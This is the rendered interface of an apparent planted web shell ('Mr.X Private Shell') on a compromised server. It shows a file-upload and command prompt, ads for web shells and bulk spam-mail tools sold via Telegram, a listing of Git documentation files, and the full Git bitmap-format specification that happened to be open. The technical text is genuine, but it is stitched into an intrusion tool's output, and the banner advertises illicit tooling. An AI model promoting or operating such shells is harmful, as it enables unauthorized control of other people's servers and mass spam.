����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
GIT bitmap v1 format
====================

== Pack and multi-pack bitmaps

Bitmaps store reachability information about the set of objects in a packfile,
or a multi-pack index (MIDX). The former is defined obviously, and the latter is
defined as the union of objects in packs contained in the MIDX.

A bitmap may belong to either one pack, or the repository's multi-pack index (if
it exists). A repository may have at most one bitmap.

An object is uniquely described by its bit position within a bitmap:

	- If the bitmap belongs to a packfile, the __n__th bit corresponds to
	the __n__th object in pack order. For a function `offset` which maps
	objects to their byte offset within a pack, pack order is defined as
	follows:

		o1 <= o2 <==> offset(o1) <= offset(o2)

	- If the bitmap belongs to a MIDX, the __n__th bit corresponds to the
	__n__th object in MIDX order. With an additional function `pack` which
	maps objects to the pack they were selected from by the MIDX, MIDX order
	is defined as follows:

		o1 <= o2 <==> pack(o1) <= pack(o2) /\ offset(o1) <= offset(o2)
+
The ordering between packs is done according to the MIDX's .rev file.
Notably, the preferred pack sorts ahead of all other packs.

The on-disk representation (described below) of a bitmap is the same regardless
of whether or not that bitmap belongs to a packfile or a MIDX. The only
difference is the interpretation of the bits, which is described above.

Certain bitmap extensions are supported (see: Appendix B). No extensions are
required for bitmaps corresponding to packfiles. For bitmaps that correspond to
MIDXs, both the bit-cache and rev-cache extensions are required.

== On-disk format

    * A header appears at the beginning:

	4-byte signature: :: {'B', 'I', 'T', 'M'}

	2-byte version number (network byte order): ::

	    The current implementation only supports version 1
	    of the bitmap index (the same one as JGit).

	2-byte flags (network byte order): ::

	    The following flags are supported:

	    ** {empty}
	    BITMAP_OPT_FULL_DAG (0x1) REQUIRED: :::

	    This flag must always be present. It implies that the
	    bitmap index has been generated for a packfile or
	    multi-pack index (MIDX) with full closure (i.e. where
	    every single object in the packfile/MIDX can find its
	    parent links inside the same packfile/MIDX). This is a
	    requirement for the bitmap index format, also present in
	    JGit, that greatly reduces the complexity of the
	    implementation.

	    ** {empty}
	    BITMAP_OPT_HASH_CACHE (0x4): :::

	    If present, the end of the bitmap file contains
	    `N` 32-bit name-hash values, one per object in the
	    pack/MIDX. The format and meaning of the name-hash is
	    described below.

		** {empty}
		BITMAP_OPT_LOOKUP_TABLE (0x10): :::
		If present, the end of the bitmap file contains a table
		containing a list of `N` <commit_pos, offset, xor_row>
		triplets. The format and meaning of the table is described
		below.
+
NOTE: Unlike the xor_offset used to compress an individual bitmap,
`xor_row` stores an *absolute* index into the lookup table, not a location
relative to the current entry.

	4-byte entry count (network byte order): ::
	    The total count of entries (bitmapped commits) in this bitmap index.

	20-byte checksum: ::
	    The SHA1 checksum of the pack/MIDX this bitmap index
	    belongs to.

    * 4 EWAH bitmaps that act as type indexes
+
Type indexes are serialized after the hash cache in the shape
of four EWAH bitmaps stored consecutively (see Appendix A for
the serialization format of an EWAH bitmap).
+
There is a bitmap for each Git object type, stored in the following
order:
+
    - Commits
    - Trees
    - Blobs
    - Tags

+
In each bitmap, the `n`th bit is set to true if the `n`th object
in the packfile or multi-pack index is of that type.
+
The obvious consequence is that the OR of all 4 bitmaps will result
in a full set (all bits set), and the AND of all 4 bitmaps will
result in an empty bitmap (no bits set).

    * N entries with compressed bitmaps, one for each indexed commit
+
Where `N` is the total number of entries in this bitmap index.
Each entry contains the following:

	** {empty}
	4-byte object position (network byte order): ::
	    The position **in the index for the packfile or
	    multi-pack index** where the bitmap for this commit is
	    found.

	** {empty}
	1-byte XOR-offset: ::
	    The xor offset used to compress this bitmap. For an entry
	    in position `x`, an XOR offset of `y` means that the actual
	    bitmap representing this commit is composed by XORing the
	    bitmap for this entry with the bitmap in entry `x-y` (i.e.
	    the bitmap `y` entries before this one).
+
NOTE: This compression can be recursive. In order to
XOR this entry with a previous one, the previous entry needs
to be decompressed first, and so on.
+
The hard-limit for this offset is 160 (an entry can only be
xor'ed against one of the 160 entries preceding it). This
number is always positive, and hence entries are always xor'ed
with **previous** bitmaps, not bitmaps that will come afterwards
in the index.

	** {empty}
	1-byte flags for this bitmap: ::
	    At the moment the only available flag is `0x1`, which hints
	    that this bitmap can be re-used when rebuilding bitmap indexes
	    for the repository.

	** The compressed bitmap itself, see Appendix A.

	* {empty}
	TRAILER: ::
		Trailing checksum of the preceding contents.

== Appendix A: Serialization format for an EWAH bitmap

Ewah bitmaps are serialized in the same protocol as the JAVAEWAH
library, making them backwards compatible with the JGit
implementation:

	- 4-byte number of bits of the resulting UNCOMPRESSED bitmap

	- 4-byte number of words of the COMPRESSED bitmap, when stored

	- N x 8-byte words, as specified by the previous field
+
This is the actual content of the compressed bitmap.

	- 4-byte position of the current RLW for the compressed
		bitmap

All words are stored in network byte order for their corresponding
sizes.

The compressed bitmap is stored in a form of run-length encoding, as
follows.  It consists of a concatenation of an arbitrary number of
chunks.  Each chunk consists of one or more 64-bit words

     H  L_1  L_2  L_3 .... L_M

H is called RLW (run length word).  It consists of (from lower to higher
order bits):

     - 1 bit: the repeated bit B

     - 32 bits: repetition count K (unsigned)

     - 31 bits: literal word count M (unsigned)

The bitstream represented by the above chunk is then:

     - K repetitions of B

     - The bits stored in `L_1` through `L_M`.  Within a word, bits at
       lower order come earlier in the stream than those at higher
       order.

The next word after `L_M` (if any) must again be a RLW, for the next
chunk.  For efficient appending to the bitstream, the EWAH stores a
pointer to the last RLW in the stream.


== Appendix B: Optional Bitmap Sections

These sections may or may not be present in the `.bitmap` file; their
presence is indicated by the header flags section described above.

Name-hash cache
---------------

If the BITMAP_OPT_HASH_CACHE flag is set, the end of the bitmap contains
a cache of 32-bit values, one per object in the pack/MIDX. The value at
position `i` is the hash of the pathname at which the `i`th object
(counting in index or multi-pack index order) in the pack/MIDX can be found.
This can be fed into the delta heuristics to compare objects with similar
pathnames.

The hash algorithm used is:

    hash = 0;
    while ((c = *name++))
	    if (!isspace(c))
		    hash = (hash >> 2) + (c << 24);

Note that this hashing scheme is tied to the BITMAP_OPT_HASH_CACHE flag.
If implementations want to choose a different hashing scheme, they are
free to do so, but MUST allocate a new header flag (because comparing
hashes made under two different schemes would be pointless).

Commit lookup table
-------------------

If the BITMAP_OPT_LOOKUP_TABLE flag is set, the last `N * (4 + 8 + 4)`
bytes (preceding the name-hash cache and trailing hash) of the `.bitmap`
file contains a lookup table specifying the information needed to get
the desired bitmap from the entries without parsing previous unnecessary
bitmaps.

For a `.bitmap` containing `nr_entries` reachability bitmaps, the table
contains a list of `nr_entries` <commit_pos, offset, xor_row> triplets
(sorted in the ascending order of `commit_pos`). The content of the i'th
triplet is -

	* {empty}
	commit_pos (4 byte integer, network byte order): ::
	It stores the object position of a commit (in the midx or pack
	index).

	* {empty}
	offset (8 byte integer, network byte order): ::
	The offset from which that commit's bitmap can be read.

	* {empty}
	xor_row (4 byte integer, network byte order): ::
	The position of the triplet whose bitmap is used to compress
	this one, or `0xffffffff` if no such bitmap exists.

Pseudo-merge bitmaps
--------------------

If the `BITMAP_OPT_PSEUDO_MERGES` flag is set, a variable number of
bytes (preceding the name-hash cache, commit lookup table, and trailing
checksum) of the `.bitmap` file is used to store pseudo-merge bitmaps.

For more information on what pseudo-merges are, why they are useful, and
how to configure them, see the information in linkgit:gitpacking[7].

=== File format

If enabled, pseudo-merge bitmaps are stored in an optional section at
the end of a `.bitmap` file. The format is as follows:

....
+-------------------------------------------+
|               .bitmap File                |
+-------------------------------------------+
|                                           |
|  Pseudo-merge bitmaps (Variable Length)   |
|  +---------------------------+            |
|  | commits_bitmap (EWAH)     |            |
|  +---------------------------+            |
|  | merge_bitmap (EWAH)       |            |
|  +---------------------------+            |
|                                           |
+-------------------------------------------+
|                                           |
|  Lookup Table                             |
|  +---------------------------+            |
|  | commit_pos (4 bytes)      |            |
|  +---------------------------+            |
|  | offset (8 bytes)          |            |
|  +------------+--------------+            |
|                                           |
|  Offset Cases:                            |
|  -------------                            |
|                                           |
|  1. MSB Unset: single pseudo-merge bitmap |
|     + offset to pseudo-merge bitmap       |
|                                           |
|  2. MSB Set: multiple pseudo-merges       |
|     + offset to extended lookup table     |
|                                           |
+-------------------------------------------+
|                                           |
|  Extended Lookup Table (Optional)         |
|  +----+----------+----------+----------+  |
|  | N  | Offset 1 |   ....   | Offset N |  |
|  +----+----------+----------+----------+  |
|  |    |  8 bytes |   ....   |  8 bytes |  |
|  +----+----------+----------+----------+  |
|                                           |
+-------------------------------------------+
|                                           |
|  Pseudo-merge position table              |
|  +----+----------+----------+----------+  |
|  | N  | Offset 1 |   ....   | Offset N |  |
|  +----+----------+----------+----------+  |
|  |    |  8 bytes |   ....   |  8 bytes |  |
|  +----+----------+----------+----------+  |
|                                           |
+-------------------------------------------+
|                                           |
|  Pseudo-merge Metadata                    |
|  +-----------------------------------+    |
|  | # pseudo-merges (4 bytes)         |    |
|  +-----------------------------------+    |
|  | # commits (4 bytes)               |    |
|  +-----------------------------------+    |
|  | Lookup offset (8 bytes)           |    |
|  +-----------------------------------+    |
|  | Extension size (8 bytes)          |    |
|  +-----------------------------------+    |
|                                           |
+-------------------------------------------+
....

* One or more pseudo-merge bitmaps, each containing:

  ** `commits_bitmap`, an EWAH-compressed bitmap describing the set of
     commits included in the this psuedo-merge.

  ** `merge_bitmap`, an EWAH-compressed bitmap describing the union of
     the set of objects reachable from all commits listed in the
     `commits_bitmap`.

* A lookup table, mapping pseudo-merged commits to the pseudo-merges
  they belong to. Entries appear in increasing order of each commit's
  bit position. Each entry is 12 bytes wide, and is comprised of the
  following:

  ** `commit_pos`, a 4-byte unsigned value (in network byte-order)
     containing the bit position for this commit.

  ** `offset`, an 8-byte unsigned value (also in network byte-order)
  containing either one of two possible offsets, depending on whether or
  not the most-significant bit is set.

    *** If unset (i.e. `offset & ((uint64_t)1<<63) == 0`), the offset
	(relative to the beginning of the `.bitmap` file) at which the
	pseudo-merge bitmap for this commit can be read. This indicates
	only a single pseudo-merge bitmap contains this commit.

    *** If set (i.e. `offset & ((uint64_t)1<<63) != 0`), the offset
	(again relative to the beginning of the `.bitmap` file) at which
	the extended offset table can be located describing the set of
	pseudo-merge bitmaps which contain this commit. This indicates
	that multiple pseudo-merge bitmaps contain this commit.

* An (optional) extended lookup table (written if and only if there is
  at least one commit which appears in more than one pseudo-merge).
  There are as many entries as commits which appear in multiple
  pseudo-merges. Each entry contains the following:

  ** `N`, a 4-byte unsigned value equal to the number of pseudo-merges
     which contain a given commit.

  ** An array of `N` 8-byte unsigned values, each of which is
     interpreted as an offset (relative to the beginning of the
     `.bitmap` file) at which a pseudo-merge bitmap for this commit can
     be read. These values occur in no particular order.

* Positions for all pseudo-merges, each stored as an 8-byte unsigned
  value (in network byte-order) containing the offset (relative to the
  beginning of the `.bitmap` file) of each consecutive pseudo-merge.

* A 4-byte unsigned value (in network byte-order) equal to the number of
  pseudo-merges.

* A 4-byte unsigned value (in network byte-order) equal to the number of
  unique commits which appear in any pseudo-merge.

* An 8-byte unsigned value (in network byte-order) equal to the number
  of bytes between the start of the pseudo-merge section and the
  beginning of the lookup table.

* An 8-byte unsigned value (in network byte-order) equal to the number
  of bytes in the pseudo-merge section (including this field).

Filemanager

Name Type Size Permission Actions
api-error-handling.adoc File 3.73 KB 0644
api-error-handling.html File 35.21 KB 0644
api-index-skel.adoc File 432 B 0644
api-index.adoc File 689 B 0644
api-index.html File 30.43 KB 0644
api-index.sh File 714 B 0644
api-merge.adoc File 1.06 KB 0644
api-merge.html File 31.51 KB 0644
api-parse-options.adoc File 13.01 KB 0644
api-parse-options.html File 49.44 KB 0644
api-path-walk.adoc File 3.27 KB 0644
api-path-walk.html File 34.28 KB 0644
api-simple-ipc.adoc File 4.74 KB 0644
api-simple-ipc.html File 35.49 KB 0644
api-trace2.adoc File 43.45 KB 0644
api-trace2.html File 86.12 KB 0644
bitmap-format.adoc File 14.66 KB 0644
bitmap-format.html File 49.31 KB 0644
build-systems.adoc File 7.96 KB 0644
build-systems.html File 41.02 KB 0644
bundle-uri.adoc File 26.12 KB 0644
bundle-uri.html File 63.08 KB 0644
commit-graph.adoc File 17.7 KB 0644
commit-graph.html File 52.61 KB 0644
directory-rename-detection.adoc File 5.08 KB 0644
directory-rename-detection.html File 36.33 KB 0644
hash-function-transition.adoc File 35.45 KB 0644
hash-function-transition.html File 75.42 KB 0644
large-object-promisors.adoc File 26.59 KB 0644
large-object-promisors.html File 62.72 KB 0644
long-running-process-protocol.adoc File 1.88 KB 0644
long-running-process-protocol.html File 32.18 KB 0644
meson.build File 1.49 KB 0644
multi-pack-index.adoc File 11.31 KB 0644
multi-pack-index.html File 44.62 KB 0644
pack-heuristics.adoc File 17.62 KB 0644
pack-heuristics.html File 54.83 KB 0644
packfile-uri.adoc File 3.66 KB 0644
packfile-uri.html File 34.64 KB 0644
parallel-checkout.adoc File 12.01 KB 0644
parallel-checkout.html File 44.27 KB 0644
partial-clone.adoc File 14.59 KB 0644
partial-clone.html File 48.96 KB 0644
platform-support.adoc File 8.95 KB 0644
platform-support.html File 40.71 KB 0644
racy-git.adoc File 8.91 KB 0644
racy-git.html File 41.04 KB 0644
reftable.adoc File 36.65 KB 0644
reftable.html File 86.46 KB 0644
remembering-renames.adoc File 29.71 KB 0644
remembering-renames.html File 65.78 KB 0644
repository-version.adoc File 3.19 KB 0644
repository-version.html File 33.92 KB 0644
rerere.adoc File 6.36 KB 0644
rerere.html File 38.33 KB 0644
scalar.adoc File 2.87 KB 0644
scalar.html File 33.61 KB 0644
send-pack-pipeline.adoc File 1.92 KB 0644
send-pack-pipeline.html File 32.41 KB 0644
shallow.adoc File 2.49 KB 0644
shallow.html File 32.77 KB 0644
sparse-checkout.adoc File 46.68 KB 0644
sparse-checkout.html File 92.36 KB 0644
sparse-index.adoc File 9.28 KB 0644
sparse-index.html File 41.79 KB 0644
trivial-merge.adoc File 4.16 KB 0644
trivial-merge.html File 35.33 KB 0644
unit-tests.adoc File 9.8 KB 0644
unit-tests.html File 50.73 KB 0644